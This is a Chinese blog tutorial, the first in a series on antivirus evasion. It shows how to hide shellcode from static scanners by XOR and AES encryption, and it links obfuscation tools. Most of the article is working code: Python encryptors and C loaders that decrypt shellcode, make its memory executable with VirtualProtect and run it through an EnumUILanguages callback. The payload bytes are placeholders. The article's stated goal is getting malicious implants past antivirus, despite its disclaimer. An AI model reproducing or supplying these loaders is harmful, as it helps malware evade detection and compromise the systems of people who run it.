【从0到1学免杀】–1. 加解密过静态

2024-06-13 392 0

本公众号技术文章仅供参考! 文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

该文章为从0到1学免杀的首篇,更多安全或免杀类文章请关注公众号:小惜渗透

由于所有杀软静态扫描shellcode,所以我们要过杀软的第一步就是通过混淆的方式来让杀软检测不到我们的shellcode,本篇采用了常见的加解密方式来对我们的shellcode进行处理

过静态--shellcode加密

1.1 XOR

先用python写个加密脚本,其中key是6-16位的随机字符串

import random

shellcode = b'\x48\x81\xEC\x00'

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()

# 异或加密函数
def xor_encrypt(code, key):
    encrypted_code = bytearray()
    key_length = len(key)
    for i in range(len(code)):
        encrypted_code.append(code[i] ^ key[i % key_length])
    return bytes(encrypted_code)

# 生成6-16长度的随机字符串
key_length = random.randint(6, 16)
key = generate_random_key(key_length)
# 进行异或加密
encrypted_code = xor_encrypt(shellcode, key)


print("随机生成的密钥:", key.decode())

#以16进制的形式输出加密后的结果
str_encode = ''
for byte in encrypted_code:
    str_encode += ('\\x%02x' % byte)
print("加密后的结果为:",str_encode)

到C语言中的思路就是先解密然后给到内存执行就可以,下方代码改变了策略,并没有申请内存而是直接修改shellcode所在内存的保护属性,直接改成可读可写可执行

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

VirtualProtect的四个参数:

lpAddress:指向要更改保护属性的内存区域的起始地址的指针。

dwSize:要更改保护属性的内存区域的大小(以字节为单位)。

flNewProtect:新的保护属性。

lpflOldProtect:一个指向变量的指针,用于接收原始的保护属性。

前三个参数很简单,这里说一下第四参数,因为我们要修改一个内存部分的保护属性,第四个参数相当于一个备份,它存了旧的保护属性,需要注意的是就算我们用不到旧的保护属性,也不要将该值设置为NULL,否则会导致函数执行失败。

可以看到这里代码执行后它的值是4也就代表原来的保护属性是可读(可读4 可写2 可执行1)

【从0到1学免杀】–1. 加解密过静态插图

C语言代码如下

#include <Windows.h>
#include<stdio.h>


unsigned char encryptedShellcode[] = "\x25\xd0\xab";

int main() {

    char key[] = "";
    // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
    unsigned char shellcode[sizeof encryptedShellcode];

 
    int keylength = strlen(key);
    // 遍历加密的shellcode,并解密,将结果存储在shellcode数组中
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\\x%x", shellcode[i]);
    }


    // 声明一个DWORD变量用于存储旧的内存保护属性
    DWORD dwOldPro = 0;
    // 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
    BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // 回调函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)(char *)shellcode, 0, 0);
}

1.2 AES

同样的除了简单的XOR外,我们还可以采用其它的加密手段,对称加密中AES比较常用,下面我们尝试用AES加密我们的shellcode并执行,注意python3这里使用Crypto函数库有点坑,最简单的解决办法就是确保已经卸载cryptopycrypto,然后安装pycryptodome

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# 声明变量
code = b'Hello, world!'  # 待加密的数据
key = b'0123456789abcdef'  # 加密密钥,必须为16字节
iv = b'0123456789abcdef'  # 加密向量,必须为16字节

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(code, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)
# 将加密结果转换为 Base64 格式
base64_encrypt = base64.b64encode(encrypt).decode()

# 显示加密结果
print('加密结果(Base64):', base64_encrypt)

C语言代码这里直接调用现成的项目了

https://github.com/kokke/tiny-AES-c

把这三个代下下来

【从0到1学免杀】–1. 加解密过静态插图1

分别添加到本地项目的源文件和头文件中

【从0到1学免杀】–1. 加解密过静态插图2

解密demo如下,要注意一点,就是我们原本的字符串长度是16,但是我们通过aes加密了,填充的IV长度为16,所以生成加密后的字节是32,然后我们在C语言一开始code[]的长度是32,解密后字符依然存到了code所在内存处,不过解密后我们的数据长度又变回了16,所以只占了code空间的一半

#include<stdio.h>
#include "aes.hpp"

int main() {

	unsigned char code[] = "\xe1\x56\xcf\xa2\xcf\x65\x04\xe7\x6a\x75\xc7\x84\x5c\x74\x0f\xe2\xc6\x49\xac\x01\xc9\x89\x70\x57\x66\x1a\x77\x60\x38\xfd\xac\x52";

	unsigned char key[] = "0123456789abcdef";
	unsigned char iv[] = "0123456789abcdef";


	// 声明aes 结构体
	struct AES_ctx ctx;
	// 初始化
	AES_init_ctx_iv(&ctx, key, iv);
	// 解密,解密后的内容依然存在code对应内存处
	AES_CBC_decrypt_buffer(&ctx, code, sizeof(code));
}

最后成品代码如下

python

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()


shellcode = b'\x48\x81\xEC\x00'  # 待加密的数据

key = generate_random_key(16)
iv = generate_random_key(16)

print('密钥为:',key)
print('IV为:',iv)

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(shellcode, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)


encrypted_shellcode_string = ''
for byte in encrypt:
    encrypted_shellcode_string += ("\\x%02x" % byte)
print('加密结果为:',encrypted_shellcode_string)

C语言代码

#include<stdio.h>
#include "aes.hpp"
#include<windows.h>

int main() {

	unsigned char shellcode[] = "\x9c\x0e\x92\x36\x7e";

	unsigned char key[] = "28T4BN6Z5EtPSF15";
	unsigned char iv[] = "ukGlewQtQJoYAQjU";


	// 声明aes 结构体
	struct AES_ctx ctx;
	// 初始化
	AES_init_ctx_iv(&ctx, key, iv);
	// 解密,解密后的内容依然存在code对应内存处
	AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));


	DWORD dwOldPro = 0;
	// 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
	BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
	// 回调函数执行解密后的shellcode
	EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)shellcode, 0, 0);

}

1.3 RSA

由于RSA的加密特性,加密太长的值的时候很不方便,还需要分块加密,最后的结果也很大,不过也可以通过AES和RSA的混合,用RSA加密AES的秘钥,这里就不举具体例子了,下面给一个C语言调用RSA的demo

首先去这个网站,下载openssl 1.1.1 https://slproweb.com/products/Win32OpenSSL.html,然后安装

【从0到1学免杀】–1. 加解密过静态插图3

在项目中引用openssl安装完的头文件和lib库

【从0到1学免杀】–1. 加解密过静态插图4

【从0到1学免杀】–1. 加解密过静态插图5

python生成公钥和私钥

from Crypto.PublicKey import RSA

# 生成RSA密钥对
key = RSA.generate(2048)

# 保存私钥为PEM格式(命名为pri.key)
private_key = key.export_key().decode()
pri_lines = private_key.splitlines()
for i in pri_lines:
    print('"'+i+'\\n"')




print('\n\n\n----------分割线-------------\n\n\n')


# 保存公钥为PEM格式(命名为pub.pem)
public_key = key.publickey().export_key().decode()
pub_lines = public_key.splitlines()
for i in pub_lines:
    print('"'+i+'\\n"')

代码如下

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/applink.c>

#pragma comment(lib, "libcrypto.lib")
#pragma comment(lib, "libssl.lib")

int main() {
    // 硬编码的公钥和私钥
    const char* pri_key_data = "-----BEGIN RSA PRIVATE KEY-----\n"
        "MIIEowIBAAKCAQEApl67Jh2KsDstGXsDDRIR8A2r1c7fyTFFn2vE7LiVPtek1lek\n"
       	"......"
        "S8QTsa2w/uLGNjIMFy58Atic1UYUA021152mZZZkfvz1Z4/cdizt\n"
        "-----END RSA PRIVATE KEY-----\n";

    const char* pub_key_data = "-----BEGIN PUBLIC KEY-----\n"
        "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApl67Jh2KsDstGXsDDRIR\n"
        "......"
        "KQIDAQAB\n"
        "-----END PUBLIC KEY-----\n";

    BIO* pri_mem = BIO_new_mem_buf((void*)pri_key_data, -1);
    RSA* rsa_pri = PEM_read_bio_RSAPrivateKey(pri_mem, NULL, NULL, NULL);
    BIO_free(pri_mem);

    BIO* pub_mem = BIO_new_mem_buf((void*)pub_key_data, -1);
    RSA* rsa_pub = PEM_read_bio_RSA_PUBKEY(pub_mem, NULL, NULL, NULL);
    BIO_free(pub_mem);

    // 加密示例
    const char* plain_text = "Hello, RSA!";
    int plain_len = strlen(plain_text);

    // 计算加密后的长度
    int enc_len = RSA_size(rsa_pub);
    unsigned char* enc_data = (unsigned char*)malloc(enc_len);

    // 进行加密操作
    int ret = RSA_public_encrypt(plain_len, (const unsigned char*)plain_text, enc_data, rsa_pub, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to encrypt.\n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        return -1;
    }

    printf("Encrypted data: ");
    for (int i = 0; i < ret; i++) {
        printf("%02x ", enc_data[i]);
    }
    printf("\n");

    // 解密示例
    unsigned char* dec_data = (unsigned char*)malloc(plain_len);

    // 进行解密操作
    ret = RSA_private_decrypt(enc_len, enc_data, dec_data, rsa_pri, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to decrypt.\n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        free(dec_data);
        return -1;
    }

    printf("Decrypted data: %s\n", dec_data);

    // 释放资源
    RSA_free(rsa_pri);
    RSA_free(rsa_pub);
    free(enc_data);
    free(dec_data);

    return 0;
}

1.4 工具推荐

这里推荐工具在于辅助(此处参考了TIDE的文章),如果想直接通过工具利用就生成免杀马,概率不高而且估计就算上线也有很大几率被杀

在线混淆地址:https://zerosum0x0.blogspot.com/2017/08/obfuscatedencrypted-cc-online-string.html

多态二进制编码器:https://github.com/EgeBalci/sgn

https://github.com/OWASP/ZSC

https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA

https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA

https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论